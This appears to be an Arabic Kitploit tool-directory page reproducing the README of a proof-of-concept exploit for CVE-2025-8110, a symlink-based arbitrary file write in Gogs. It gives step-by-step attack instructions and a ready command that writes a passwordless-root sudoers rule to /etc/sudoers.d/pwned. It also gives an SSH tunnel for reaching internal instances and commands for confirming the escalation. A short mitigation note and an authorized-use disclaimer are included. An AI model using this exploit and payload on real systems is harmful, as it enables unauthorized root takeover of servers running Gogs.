Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-8110-gogs-poc — PoC لثغرة CVE-2025-8110 - كتابة ملفات عشوائية في Gogs عبر الارتباط الرمزي | Kitploit
أدوات/GitHubGitHub/shirouuu/cve-2025-8110-gogs-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubshirouuu/cve-2025-8110-gogs-poc

CVE-2025-8110-gogs-poc

PoC لثغرة CVE-2025-8110 - كتابة ملفات عشوائية في Gogs عبر الارتباط الرمزي

عرض المستودع
5منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-8110 — كتابة ملفات عشوائية في Gogs (PoC)

إثبات مفهوم لثغرة كتابة ملفات عشوائية بعد المصادقة في Gogs. من خلال دفع مستودع يحتوي على رابط رمزي (symbolic link) يشير إلى خارج المستودع، ثم تحديث محتويات ذلك الرابط عبر API، يمكن لمستخدم مصادق الكتابة فوق ملفات على المضيف بصلاحيات الحساب الذي يشغّل Gogs.

للاستخدام المصرّح به والأغراض التعليمية فقط. شغّل هذا فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. أنت مسؤول عن كيفية استخدامك له.

كيف يعمل

  1. سجّل الدخول إلى Gogs باستخدام حساب موجود.
  2. أنشئ رمز تطبيق (API token) من إعدادات المستخدم.
  3. أنشئ مستودعًا.
  4. أضف رابطًا رمزيًا (malicious_link -> /path/on/host) وادفعه.
  5. أرسل طلب PUT إلى Contents API لتحديث malicious_link. يتبع Gogs الرابط الرمزي ويكتب المحتوى المقدَّم إلى المسار الهدف — بصلاحياته الخاصة. إذا كان Gogs يعمل بصلاحيات root، فهذه أداة مباشرة لتصعيد الصلاحيات (مثل إضافة قاعدة إلى /etc/sudoers.d/).

طلب PUT عبر API هو ما يطلق عملية الكتابة فعليًا؛ بينما الدفع يضع الرابط الرمزي فقط.

المتطلبات

  • Python 3.8+
  • git متاح في PATH
  • حساب Gogs موجود (قد يكون التسجيل معطلاً على الهدف)
root@kitploit:~
pip install -r requirements.txt

الاستخدام

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:3000 \
    --user <username> \
    --password '<password>' \
    --target /etc/sudoers.d/pwned \
    --payload '<username> ALL=(ALL) NOPASSWD: ALL'

احذف --password ليُطلب منك إدخاله بشكل آمن بدلاً من تمريره عبر سطر الأوامر.

الوصول إلى مثيل Gogs داخلي

غالبًا ما يكون Gogs مرتبطًا بـ localhost على الهدف. استخدم إعادة توجيه المنفذ المحلي عبر SSH لكشفه لجهازك (اضبط المنافذ لتطابق الهدف):

root@kitploit:~
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000

التحقق من الكتابة

بعد تشغيل ناجح، تحقق على المضيف (بصفة المستخدم المعني):

root@kitploit:~
cat /etc/sudoers.d/pwned
sudo -l

إذا كتبت قاعدة sudoers، لاحظ أن الملفات في /etc/sudoers.d/ يجب أن تكون صالحة ولها الصلاحيات المناسبة حتى يلتزم بها sudo.

ملاحظات / استكشاف الأخطاء وإصلاحها

  • auto_init يُرجع HTTP 500 — يتراجع البرنامج النصي إلى إنشاء مستودع فارغ وملئه عبر git init محلي + push.
  • تم رفض الدفع (non-fast-forward) — يقوم البرنامج النصي بالمزامنة مع المستودع البعيد ويعيد المحاولة؛ كما يتعامل مع master مقابل main.
  • رمز CSRF غير موجود — يعني عادةً أن الهدف/المنفذ خاطئ (أنت تتصل بخدمة مختلفة) أو أن الجلسة غير مصادقة.

التخفيف

قم بالترقية إلى إصدار Gogs يتحقق من الروابط الرمزية في Contents API. كدفاع متعمق، تجنّب تشغيل Gogs بصلاحيات root واعزل تخزين المستودعات.

الترخيص

MIT — انظر LICENSE.

تنزيل الأداة